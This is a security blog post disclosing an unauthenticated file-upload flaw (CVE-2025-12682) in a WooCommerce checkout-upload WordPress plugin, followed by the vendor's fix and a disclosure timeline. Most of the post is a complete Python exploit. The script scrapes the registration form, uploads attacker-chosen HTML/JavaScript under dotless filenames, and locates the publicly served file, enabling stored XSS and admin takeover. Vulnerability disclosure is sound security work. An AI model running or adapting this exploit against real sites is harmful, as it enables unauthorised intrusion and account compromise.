a7mad’s blog

CVE-2025-12682 [9.8 (Critical)]

CVE-2025-12682

CVE-2025-12682.png

Another day, another WordPress plugin with a questionable file upload filter. This time it’s the Easy Upload Files During Checkout plugin (version 2.9.8 and below), which lets WooCommerce store owners collect files from customers during checkout. Unfortunately, it also lets anyone upload malicious HTML to your server — no login required — thanks to one of the worst extension checks I’ve seen.


The Discovery

While testing WooCommerce sites with file upload features, I noticed something odd. The plugin adds an upload field to the account registration form — but processes the upload before verifying whether the registration actually succeeds.

That means you can submit a fake registration, have it fail, and your file still gets uploaded.


The Technical Bits

This vulnerability comes from two bugs working together:

1. No Authentication Required
When “Display on Registration Page” is enabled, uploads are processed as soon as the form is submitted — no valid registration needed.

2. Weak Extension Check
Instead of validating proper extensions (like .png or .pdf), the plugin simply checks if the filename ends with one of those strings.

So if you upload a file literally named png (no dot, no extension), it passes the check. The web server doesn’t care about the name — it serves it as HTML if the content looks like HTML.

Here’s the flow:

  1. Hit /my-account/

  2. Upload a file named png containing <script>alert(1)</script>

  3. Plugin says “looks good!” and uploads it

  4. Visit /wp-content/uploads/png

  5. JavaScript executes


The Exploit

I built a quick PoC that automates the process:

  1. Fetches the registration form and CSRF tokens

  2. Uploads files named txt, pdf, or png (no dots)

  3. Inserts simple HTML+JS payloads

  4. Checks if the files are publicly accessible

The exploit works when:

  • Customer registration is enabled

  • The plugin’s registration upload option is on

  • The site is publicly visible

No credentials, no authentication — just a public endpoint and a bad filename check.

#!/usr/bin/env python3
"""

This POC works with the following configurations
- WooCommerce site visibility set to live
- WooCommerce Accounts & Privacy allow customers to create account on my-account page
- Easy Upload Files plugin enable display on Registration Page

Usage:
  python3 poc.py -u "http://localhost/my-account/" —verbose

**NOTE** you must include the url of the signup page of my-account

Behavior:
- Treats -u as the full page URL to fetch (signup).
- Parses the first form containing a file input (or the first form), reads inputs & hidden fields.
- Uses the form's action as the POST target.
- Attempts uploads using provided candidate filenames (like 'txt', 'pdf') and probes for accessible uploads.
- Verbose mode prints debugging info.

Dependencies: requests, beautifulsoup4
"""

import argparse
import requests
import re
import sys
import time
from bs4 import BeautifulSoup
from urllib.parse import urlparse, urljoin

DEFAULT_NAMES = [
    "txt", "pdf", "doc", "docx", "xls", "xlsx", "ppt", "pptx",
    "csv", "rtf", "html", "xml", "json", "log", "conf", "ini"
]

DEFAULT_PAYLOAD = "<html><script>alert(1)</script></html>"

def get_origin(url):
    p = urlparse(url)
    origin = f"{p.scheme}://{p.netloc}"
    return origin

def fetch_form_fields(session, page_url, verbose=False, timeout=15):
    """
    Fetch the provided page_url and parse form inputs.
    Returns: (fields_list, file_field_name, page_text, post_target_url)
    """
    if verbose:
        print("[*] GET", page_url)
    resp = session.get(page_url, timeout=timeout)
    if verbose:
        print("    -> status:", resp.status_code)
    if resp.status_code != 200:
        raise RuntimeError(f"GET {page_url} returned {resp.status_code}")

    soup = BeautifulSoup(resp.text, "html.parser")

    # Find form containing file input or the first form
    candidate_form = None
    for form in soup.find_all("form"):
        # file input or known field name heuristics
        if form.find("input", {"type": "file"}) or form.find("input", {"name": "file_during_checkout"}):
            candidate_form = form
            break
    if candidate_form is None:
        candidate_form = soup.find("form")

    if candidate_form is None:
        # no form found; treat whole page as container (no action)
        candidate_form = soup
        action = None
    else:
        action = candidate_form.get("action")

    # Resolve post target
    if action:
        post_target = urljoin(page_url, action)
    else:
        post_target = page_url  # post back to same URL if no action

    fields = []
    file_field_name = None

    # collect inputs
    for inp in candidate_form.find_all("input"):
        in_type = (inp.get("type") or "").lower()
        name = inp.get("name")
        if not name:
            continue
        val = inp.get("value", "")

        if in_type == "file":
            file_field_name = name
            continue

        fields.append((name, val))

    # textareas
    for ta in candidate_form.find_all("textarea"):
        name = ta.get("name")
        if name:
            fields.append((name, ta.text or ""))

    # selects
    for sel in candidate_form.find_all("select"):
        name = sel.get("name")
        if not name:
            continue
        val = ""
        opt = sel.find("option", selected=True)
        if opt:
            val = opt.get("value", "")
        else:
            first = sel.find("option")
            if first:
                val = first.get("value", "")
        fields.append((name, val))

    # Guess file field if not present
    if file_field_name is None:
        if any(name == "file_during_checkout" for name, _ in fields):
            file_field_name = "file_during_checkout"
        else:
            for candidate in ("file", "upload", "upload_file", "file_during_checkout"):
                if candidate in [n for n, _ in fields]:
                    file_field_name = candidate
                    break

    if verbose:
        print("    -> parsed fields:", len(fields), "file_field:", file_field_name)
        # print some fields (avoid dumping long values)
        for k, v in fields:
            print("       ", k, "=", (v if v is not None else ""))

    return fields, file_field_name, resp.text, post_target

def build_multipart_payload(fields, file_field_name, upload_filename, payload_text):
    """
    Build (files, data) pairs for requests.post.
    files: list of (fieldname, (filename, bytes, content_type))
    data: list of (name, value)
    """
    files = []
    if file_field_name:
        files.append((file_field_name, (upload_filename, payload_text.encode("utf-8"), "application/pdf")))

    data = []
    for name, val in fields:
        if name == file_field_name:
            if val:
                data.append((name, val))
            continue
        data.append((name, val if val is not None else ""))

    # ensure the 'file_during_checkout' boolean exists if not present
    if file_field_name != "file_during_checkout" and not any(n == "file_during_checkout" for n, _ in data):
        data.append(("file_during_checkout", "true"))

    return files, data

def find_candidate_urls_from_response(base_origin, resp_text):
    candidates = []
    for m in re.finditer(r'href=["\']([^"\']*wp-content/uploads[^"\']*)["\']', resp_text, flags=re.IGNORECASE):
        url = m.group(1)
        if url.startswith("//"):
            url = "http:" + url
        elif url.startswith("/"):
            url = base_origin.rstrip("/") + url
        candidates.append(url)
    for m in re.finditer(r'(/wp-content/uploads/[^\s"\'<>]+)', resp_text, flags=re.IGNORECASE):
        full = base_origin.rstrip("/") + m.group(1)
        if full not in candidates:
            candidates.append(full)
    return candidates

def attempt_uploads(page_url, names, payload, cookies=None, verbose=False, timeout=15):
    session = requests.Session()
    if cookies:
        for part in cookies.split(";"):
            if "=" in part:
                k, v = part.strip().split("=", 1)
                session.cookies.set(k, v)

    try:
        fields, file_field_name, page_text, post_target = fetch_form_fields(session, page_url, verbose=verbose)
    except Exception as e:
        print("[!] Error fetching form:", e)
        return False, None

    origin = get_origin(page_url)
    uploads_base = origin.rstrip("/") + "/wp-content/uploads"

    for name in names:
        if verbose:
            print("\n[*] Trying filename:", name)
        files, data = build_multipart_payload(fields, file_field_name, name, payload)

        headers = {
            "User-Agent": "Mozilla/5.0 (PoC)",
            "X-Requested-With": "XMLHttpRequest",
            "Referer": page_url,
            "Origin": origin
        }

        try:
            resp = session.post(post_target, files=files, data=data, headers=headers, timeout=timeout, allow_redirects=True)
        except Exception as e:
            print("    [!] POST error:", e)
            continue

        if verbose:
            print("    -> POST target:", post_target)
            print("    -> POST status:", resp.status_code)
            print("    -> POST final URL:", resp.url)
            snippet = resp.text[:800].replace("\n", " ").replace("\r", " ")
            print("    -> Response snippet:", snippet if snippet else "[empty]")

        candidates = find_candidate_urls_from_response(origin, resp.text)
        simple = uploads_base + "/" + name
        if simple not in candidates:
            candidates.append(simple)

        for cand in candidates:
            try:
                g = session.get(cand, timeout=timeout, allow_redirects=True)
            except Exception as e:
                if verbose:
                    print("    [!] GET", cand, "failed:", e)
                continue
            if verbose:
                print("    -> GET", cand, "status:", g.status_code, "Content-Type:", g.headers.get("Content-Type"))
            if g.status_code == 200:
                return True, cand

    return False, None

def main():
    parser = argparse.ArgumentParser(description="Fetch form from the given page URL then attempt filename-based uploads")
    parser.add_argument("-u", "--url", required=True, help="Full signup page URL (e.g., http://localhost/my-account/ or http://localhost/?page_id=10)")
    parser.add_argument("--names", help="Comma-separated names to test (defaults to common list)")
    parser.add_argument("--cookies", help="Optional cookie string (copy from browser), format 'k=v; a=b'")
    parser.add_argument("--payload", help="HTML payload body", default=DEFAULT_PAYLOAD)
    parser.add_argument("--verbose", help="Verbose output", action="store_true")
    args = parser.parse_args()

    names = [n.strip() for n in args.names.split(",")] if args.names else DEFAULT_NAMES

    ok, url = attempt_uploads(args.url, names, args.payload, cookies=args.cookies, verbose=args.verbose)
    if ok:
        print("\n[✔] SUCCESS: uploaded file accessible at:", url)
        sys.exit(0)
    else:
        print("\n[-] No successful uploaded file detected for tested names.")
        sys.exit(1)

if __name__ == "__main__":
    main()

Impact

This opens a clear path for:

  • Stored XSS via uploaded HTML

  • Server storage abuse

  • Hosting malicious content

The XSS vector is the biggest risk: inject JavaScript, wait for an admin to view it, and you’ve got admin-level compromise.


The Fix

After reporting the issue, the vendor released v2.9.9, which addresses the vulnerability


Timeline

  • Discovery: Oct 26, 2025

  • Vendor notified: Oct 26, 2025

  • Patch: v2.9.9

  • Public disclosure: Nov 3, 2025


🎥 Demo

Proof-of-concept video: Vimeo link